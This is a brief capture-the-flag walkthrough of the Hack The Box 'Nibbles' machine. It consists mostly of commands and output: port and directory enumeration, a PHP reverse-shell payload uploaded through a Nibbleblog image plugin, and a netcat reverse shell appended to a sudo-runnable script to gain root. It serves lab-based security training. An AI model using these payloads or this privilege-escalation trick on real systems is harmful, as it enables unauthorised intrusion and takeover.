REVERSE PHP SHELL

```
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)

|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)

|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).
```

```
root@akg:/home/akg/Desktop/hackthebox/nibbles# gobuster dir -u http://nibbles.htb/ nibbleblog/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

/index.php (Status: 200)

/sitemap.php (Status: 200)

/content (Status: 301)

/themes (Status: 301)

/feed.php (Status: 200)

/admin (Status: 301)

/admin.php (Status: 200)

/plugins (Status: 301)

/install.php (Status: 200)

/update.php (Status: 200)

/README (Status: 200)

/languages (Status: 301)

/LICENSE.txt (Status: 200)

/COPYRIGHT.txt (Status: 200)
```

```
<!-- /nibbleblog/ directory. Nothing interesting here! -->
```

```
root@kali:/home/kali/Desktop/hackthebox/nibbles# nikto -h http://nibbles.htb/nibbleblog

+ OSVDB-3268: /nibbleblog/admin/: Directory indexing found.

+ OSVDB-3092: /nibbleblog/admin.php: This might be interesting...

+ OSVDB-3092: /nibbleblog/admin/: This might be interesting...

+ OSVDB-3092: /nibbleblog/README: README file found.

+ OSVDB-3092: /nibbleblog/install.php: install.php file found.
```

http://nibbles.htb/nibbleblog/admin.php

admin-nibbles

/README

```
====== Nibbleblog ======

Version: v4.0.3

Codename: Coffee

Release date: 2014-04-01
```

http://nibbles.htb/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image

```
root@akg:/home/akg/Desktop/hackthebox/nibbles# cat reverse.php

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.33 8082 >/tmp/f"); ?>
```

http://nibbles.htb/nibbleblog/content/private/plugins/my_image/

```
root@akg:/home/akg# nc -nlvp 8082

python3 -c 'import pty; pty.spawn("/bin/sh")'

nibbler@Nibbles:/home/nibbler$ ls

personal.zip  user.txt

nibbler@Nibbles:/home/nibbler$ unzip personal.zip

Archive:  personal.zip

   creating: personal/

   creating: personal/stuff/

  inflating: personal/stuff/monitor.sh
```

```
User nibbler may run the following commands on Nibbles:

    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 8083 > /tmp/f" >> monitor.sh

sudo /home/nibber/personal/stuff/monitor.sh

nc -lnvp 8083
```

ROOTED!!!